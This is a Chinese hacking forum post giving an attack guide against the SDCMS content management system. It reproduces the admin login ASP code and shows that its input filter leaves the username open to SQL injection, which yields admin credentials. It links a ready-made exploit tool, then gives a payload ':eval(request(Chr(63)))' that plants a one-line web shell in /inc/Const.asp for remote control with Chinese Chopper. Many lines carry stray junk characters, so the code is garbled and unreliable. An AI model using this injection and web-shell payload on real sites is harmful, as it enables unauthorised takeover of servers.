SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
$ ?" k8 {# T$ ]) _! _6 r漏洞文件：后台目录/index.asp
! l  |) f. H0 S5 E
Sub Check
) n5 B2 s! l0 N- U! P    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
( f% @: v# I# c+ u2 T, Y( Z    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
6 Z; k  D& e0 ~% v2 e/ k    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
. ^) y! d' h9 _4 A    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
+ z, j6 C2 ~: V! T4 ]    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
7 m( M4 [  V, c) \    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
    Else
2 ]$ X. l6 U+ l7 R7 I        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
  V2 N# P; u0 C& G" F& u  X        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
% Y' _" ~3 E, V/ C% b            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
2 @5 M$ w# M# l" y" F" }            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
3 ~& g, o1 n; K: D. E0 L' N4 J            Add_Cookies "sdcms_alllever",Rs(4)
+ G3 J) v) B! [. z            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
+ m3 w- @; [8 R. ~! N; i& C            AddLog username,GetIp,"登录成功",1
# u. z( m1 g7 E1 ]( l- ~8 N3 X            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
  E+ G" L5 s, Q7 D2 [+ T7 d            Else
# \+ m$ t" g, A2 P3 z                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
            Go("sdcms_index.asp")
        End IF
' z3 A5 R7 Y/ \+ Q8 A$ E        Rs.Close
) {( l$ E+ N" _! a0 g2 a/ r, c& ], b        Set Rs=Nothing
: _7 P+ O& r) J; p) x8 h" m    End IF
) Q% o! [6 P4 g* C8 k2 ~End Sub
$ T+ {4 v+ q3 f. K4 |& H& }3 z
9 p1 J" |$ }) c* l  t* {’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

$ ~( w  P0 @8 ]3 r7 D1 ~% aFunction FilterText(ByVal t0,ByVal t1)
+ c% l& a: ?9 M, U* V    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
9 p- X# J! L4 B    t0=Trim(t0)
    Select Case t1
( G! t6 ]9 _$ J/ }. g* U        Case "1"
            t0=Replace(t0,Chr(32),"")
. {" `, Y8 G: i/ R8 }) w            t0=Replace(t0,Chr(13),"")
9 \& ^# _1 n9 u& O' d            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
        Case "2"
0 ?  L7 _0 z- @; Z! v            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
4 S" a2 @* F2 Y$ R( o            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
0 I- w: [7 Q- H. x1 }" m            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
  B# j) M$ |. ~* d7 f. J0 k            t0=Replace(t0,Chr(38),"")'&
* \8 M. |; ~- N8 v& z$ A            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
/ m+ x- _1 V' y4 G, s% j1 B            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
) }3 I) u& Y7 A. M            t0=Replace(t0,Chr(47),"")'/
            t0=Replace(t0,Chr(58),"")':
% R  |/ u; |6 H5 w& O            t0=Replace(t0,Chr(59),"")';
+ q! W% |- o) i/ O) @9 S            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
9 E8 g+ ?; }2 k4 F. s6 D- V7 l            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
5 u  f- [) A* n            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
; z: z9 a- j+ r5 M6 S            t0=Replace(t0,Chr(96),"")'`
) e' `" z& F) u% n            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
6 `! g& h2 n- X4 f4 Q& L            t0=Replace(t0,Chr(125),"")'}
: o" l- s, t1 f4 U, g% l            t0=Replace(t0,Chr(126),"")'~
/ q  v- s6 y, c$ g    Case Else
        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
; Q& X. r6 o4 G( u  x/ W, X) G9 ?        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
- A4 ~; f/ D" S* [    End Select
; s6 K& i. s) K  ^1 b4 b3 z8 \9 K    IF Instr(Lcase(t0),"expression")>0 Then
/ y" O: Y$ j( b6 y1 [1 p        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
    FilterText=t0
End Function

看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
( D8 s8 u% ~* t")
                        t0=Replace(t0,Chr(10),"
% L* _% `9 u4 d* i% r: {! h2 h5 D")
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
' H9 Z+ f& k5 k$ ^6 y  z% I1 K
测试:
7 D$ m, I) `3 N  O( M5 p' u3 D, K

9 g5 f% z  v$ ?- H- `现在输入工具上验证码,然后点OK
9 P5 `; X2 b9 s% Q7 }
; c% H# I# b  y6 }% w0 S
看到我们直接进入后台管理界面了,呵呵!

+ b! o$ s" U" l' f2 P8 q1 }
4 L+ I/ f9 r$ u2 e9 Q
$ F: w# ?  o/ k3 R这样直接进入后台了。。。。
0 I5 n  m0 B# m7 u" k$ G! U: g0 q/ f


SDCMS提权:

方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
1 M1 a' c8 l3 o8 ~( f# ^
5 v3 I6 [1 }& v. p" q, }
: M) P- g7 i$ ^( C' c6 c. |
, `! f! q- Q7 i8 N' K7 T4 lOK,现在用菜刀连接下!
% q! J7 S6 A. p# n


2 b, m0 m( U: Y# _
% m  S4 T! _% B" d# u% c  S( v